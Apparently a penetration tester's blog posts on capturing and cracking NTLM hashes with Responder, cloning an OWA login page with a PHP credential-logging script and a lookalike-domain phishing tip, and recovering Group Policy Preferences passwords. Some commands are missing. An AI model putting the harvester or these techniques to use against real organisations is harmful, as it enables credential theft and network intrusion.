Breaching a Windows environment by capturing and cracking NTLM challenge/response hashes

In this scenario we have limited physical access on a client’s network. We have been provided with an empty cubicle and only the ability to plug into the network. We have been granted no logical access and the goal is to see if take our limited physical access, gain an initial foothold within the network, and ultimately escalate our privileges throughout the environment.

The tools we’ll be using are:

Responder is a LLMNR, NBT-NS and MDNS poisoner, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication. Link-Local Multicast Name Resolution (LLMNR) and Netbios Name Service (NBT-NS) are two components of nearly all Microsoft Windows networks. LLMNR and NBT-NS allow Windows operating systems on the same subnet help each other identify hosts if/when DNS resolution fails. If DNS resolution fails for a particular host, that computer will typically attempt to query other machines on the LAN for the correct address via LLMNR or NBT-NS.

This default behavior can be leveraged into a foothold for an attacker within the network. An attacker can impersonate the servers/services being requested by other workstations and convince the workstation to provide authentication information to it – instead of the actual server. Consider the following example:

  1. A workstation attempts to access the UNC path \\SERVER01, but mistakenly types in \\SRVER01.
  2. That workstation’s DNS server(s) responds to the query saying that it doesn’t know any host by that name.
  3. The workstation then query’s all other devices on the LAN asking if they know of the location of \\SRVER01
  4. An attacker responds to the workstation, informing it that it is SRVER01
  5. The workstation then goes through the typical challenge/response procedure to validate the domain user’s credentials. During this step, the attacker able to capture the domain user’s NTLMv2 hash.
  6. The attacker can now attempt to crack the hash to discover the domain user’s password in order to gain additional access to the environment.


To start, we need our Kali Linux box to exist on the same subnet as all the other workstations. After plugging into the network, can attempt to discover hosts on our subnet by looking at the IP address assigned to us via DHCP:


Using the above information, we can scan our subnet for workstations with the following command: nbtscan


This should give us enough information and insight about the network to fire up Responder and attempt to capture NTLM challenge/response hashes. If our nbtscan returned no (or limited) results, running Responder on that particular subnet would probably be ineffective.

Responder is a very powerful tool and it has the potential to break stuff on a network. I don’t plan to explain all of the capabilities and nuances of Responder – so use it at your own risk. An effective command for capturing hashes within a Windows network is: ./ -I eth0 -wrdfbF

After letting Responder run for a few minutes, we are able to capture the following Challenge/Response handshake hash when a host on the network attempts to access the below network resource:


We are then able to take this captured hash and feed it into John The Ripper and attempt to crack it against a dictionary file of known passwords. In this particular instance, we’re using the Rockyou file. This is seen below:


We can see  (above) that this particular domain user has a very weak password that was able to be cracked within 23 seconds. This was/is an actual domain user account within a production environment. With this information, we are now able to use other tools to enumerate where this user has privileges on the network and further escalate our privileges within the environment.

This topic will be covered in a future post.


OWA Website Clone + Credential Grabbing

The purpose of this post is show the necessary steps for cloning an Outlook Web Access (OWA) website and then modifying the cloned website’s code so that the inputted credentials are captured and written to a file when someone attempts to log in. A cloned OWA portal is a good method for obtaining the first set of user login credentials to a network…since the OWA creds will be the same creds needed to login to the Windows network. Once you gain credentials, you may be able to gain access to the internal LAN via Active Directory integrated VPN access, wireless access if WPA2 Enterprise is used, etc.

Before I get started, I need to a place to host the site that I want to clone.  For this example, I’m using an AWS Ubuntu server, running Apache Web Server. Installing Apache is not covered here but the below command will get you most of the way there:

apt-get install apache2 apache2-doc apache2-utils

Once Apache is installed, I need to install httrack. This tool will be used for copying/clone the site. Install by running the below command:

apt-get install httrack

Once httrack is installed, I can clone the site.  For this example, I googled and found and chose a randomly publicly accessible 2013 OWA site at


Before cloning the site, you’ll need to create a place to store it.  I’ve created a new folder named “owa-2013”.  Run the following command:

httrack  -O “/var/www/html/owa-2013/”  -%v -%f


Httrack inserts advertising junk into index.html. To eliminate the advertising that comes with using httrack, run the following commands:


The above commands basically just move logon5b91.html to the root of owa-2013 and renames that file to index.html so that it’s loaded when you visit the URL/owa-2013.

Since I’m doing this example at AWS, I need to create a couple of rules that allow incoming http and https traffic on ports 443 and 80 to my server.


I should now be able to visit the cloned site by visiting the Public IP address of my AWS server/owa-2013.  Since I have domain registered that points to my AWS Public IP, I can browse to to view the cloned site. Note: I’ve setup a certificate on the domain to eliminate the security warning.  In order to purchase/setup a certificate, you’ll need to configure https for Apache and register a domain name. Alternatively, you can also host an encrypted version of the site (http), which eliminates the need for a certificate.


Now that I’ve confirmed that the site is publicly visible, I need to rework the source code so that credentials are captured when someone enters them at the website. First, I need to create a PHP file called post.php in /var/www/html/owa-2013 that contains the below code:

<?php $file = ‘creds.txt’;file_put_contents($file, print_r($_POST, true), FILE_APPEND);?><meta http-equiv=”refresh” content=”0; url=”>

Credentials will be written on POST (when the user clicks “sign in”) to the file named creds.txt. After that, the site visitor will be redirected to the actual OWA site that I cloned.  This is important in order to eliminate suspicion.

Now I must modify index.html. Find the line that looks like this:


And replace it with:


Once completed, credentials should be written to creds.txt when someone attempts to login.


When doing something like this on an pentest engagement, consider registering a domain name that is very similar to the organization’s domain name.  For example, if their domain name was, you could register in hopes that the target(s) wouldn’t notice the difference.

How to trick someone into viewing the cloned site is not covered here but consider an social engineering email campaign.

Active Directory & Group Policy Privilege Escalation Vulnerability

So you’ve had a successful phishing trip and obtained a shell on a target machine that is joined up a Windows domain. Obviously, the goal is escalate privileges and pivot across the network…which is easier said than done.  This is just one technique (of many) to consider employing on your travels.

We can see below that the target computer’ s domain controller is CN-DC04.


We should now map a drive to the sysvol share on the DC.


We are ultimately trying to find groups.xml, which can be done by using the command below:


Once found, we want to identify the one with the most recent date.


Once we’ve found the file we want, we need to enter the below command: Type groups.xml

Inside this file, if we’re lucky, we’ll be able to determine the name of a local administrator account (redacted in the picture below) and also an encrypted password (in the red box, but also redacted).


Using a tool like gpp-decrypt in Kali Linux, we can easily determine the password.


In a nutshell, organizations should not use Group Policy Preferences to manage local administrator passwords for domain computers.  Instead they should use something like Microsoft LAPS, which is significantly more secure. In addition, Microsoft LAPS will ensure that all of the local administrator passwords are changed on a regular basis AND also randomized on each domain joined machine.  Those credentials are then stored in Active Directory.